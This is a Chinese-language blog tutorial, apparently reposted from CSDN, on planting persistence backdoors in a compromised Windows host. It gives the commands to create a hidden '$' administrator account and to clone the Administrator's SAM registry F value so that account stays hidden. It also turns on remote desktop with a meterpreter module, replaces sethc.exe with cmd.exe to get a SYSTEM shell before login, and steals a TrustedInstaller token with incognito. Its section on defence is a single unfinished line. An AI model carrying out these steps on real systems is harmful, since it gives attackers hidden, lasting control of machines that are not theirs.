首页 > 系统相关> > Windows系统隐藏用户及粘贴键后门

Windows系统隐藏用户及粘贴键后门

2021-09-06 23:02:35 作者：互联网

Windows系统隐藏用户

该方法是通过建立隐藏账户，制作系统用户远程控制后门，维持目标Windows
系统权限。制作方法跟步骤如下：
已经获取系统权限执行添加用户操作
net user hahaha$ Aa123456 /add
net localgroup administrators hahaha$ /add
net user

在这里插入图片描述

如上图，我们已经创建成功，执行net user命令，发现是看不到hahaha$用户的：

在这里插入图片描述

但是这就结束了吗，没有！虽然上面net user看不见该隐藏用户，
但是在控制面板和计算机管理的本地用户和组中，仍然是可以看的到该用户的：
为了更好地隐藏我们的后门账户，我们还要开启目标主机的远程桌面进行如下操作。
meterpreter > run post/windows/manage/enable_rdp//开启3389服务

在这里插入图片描述

打开注册表编辑器，找到HKEY_LOCAL_MACHINE\SAM\SAM，
单机右建，选择“权限”，把Administrator用户的权限，设置成
“完全控制”权限，然后关闭注册表编辑器，再次打开即可。

在这里插入图片描述

这样SAM下的文件就都能看见了如下图所示
然后，在注册表编辑器的HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names处，点击Administrator用户，在左侧找到和在右边显示的键值的类型一项“0x1f4”相同的目录名，也就是箭头所指目录“000001F4”：

在这里插入图片描述

复制000001F4目录中的F键的值：

在这里插入图片描述

然后找到与隐藏账户hahaha$右边类型的键值“0x3ec”相同的目录名，也就是。

在这里插入图片描述

然后将000001F4的F值粘贴到000003EC的F值中，点击确定：

在这里插入图片描述

然后从注册表中右键导出000003EC和hahaha$，
并删除hahaha$用户 net user hahaha$ /del：

在这里插入图片描述

此时发现在用户本地组中查不到hahaha$用户，已经被成功隐藏起来。

在这里插入图片描述

最后，将刚才导出的两个后缀为.reg的注册表项导入注册表中：

在这里插入图片描述

最后直接3389连接，输入隐藏的用户名密码即可

在这里插入图片描述

粘滞键后门

如果在电脑上连按五次shift键，发现电脑屏幕上弹出了一个叫做“粘滞键”的程序

在这里插入图片描述

思考一下，如果我们知道了这个程序的绝对路径，那么我们就可以将cmd.exe
伪装成这个粘滞键程序，
当我们连按五次shift键时，便会弹出一个CMD命令行窗口，那么我们
就可以无需登录进系统便可以控制目标主机了。

粘滞键程序名称为“sethc.exe”，其路径为“c:\windows\system32\sethc.exe”。
利用粘滞键做后门是一种比较常见的持续控制方法。
其基本流程如下：

1.	手动或利用工具，找到sethc.exe将其删除或改名为sethc.exe.bak，
2.	接着将cmd.exe程序复制一个副本，并命名为“sethc.exe”
3.	最后，重启计算机再次按下5次Shift键，会弹出CMD界面，后门制作成功

手动执行

在目标主机上执行如下命令即可:
cd c:\windows\system32  
move sethc.exe sethc.exe.bak   // 将sethc.exe重命名
copy cmd.exe sethc.exe       // 将cmd.exe副本保存伪装成sethc.exe

实验注意事项:

该cmd是以system权限运行的，接下来我们就可以无需知道登录密码，
无需登录，直接对目标主机执行各种高权限的操作了，
也完全可以新建一个高权限用户直接登录进入系统，是不是很有意思？
但是，先别高兴地太早了，在一些做了防护的主机上，即使是SYSTEM权限
也是无法修改sethc.exe的：
解决方法:
只有TrustedInstaller权限才可以，这时，我们就要先模拟一个TrustedInstaller
权限的令牌获取TrustedInstaller权限，
然后再执行上述操作。我们的思路如下：

当我们启动TrustedInstaller服务时会启动进程TrustedInstaller.exe，
该程序的权限为NT SERVICE\TrustedInstaller，那么我们就可以窃取该
进程的令牌。
首先进入shell启动TrustedInstaller服务：
sc.exe start TrustedInstaller

在这里插入图片描述

然后利用令牌窃取TrustedInstaller权限

use incognito
ps      # 找到TrustedInstaller的进程PID，这里为1056
steal_token <PID>      # 从该进程中窃取令牌
getuid

在这里插入图片描述

实验成功截图:连续按五次shift键即可弹出cmd窗口

在这里插入图片描述

针对粘滞键后门的防范措施:
远程登录服务器时，连续按5此shift

标签：后门,exe,Windows,用户,TrustedInstaller,粘贴,hahaha,权限,sethc
来源： https://blog.csdn.net/qq_43590351/article/details/120146527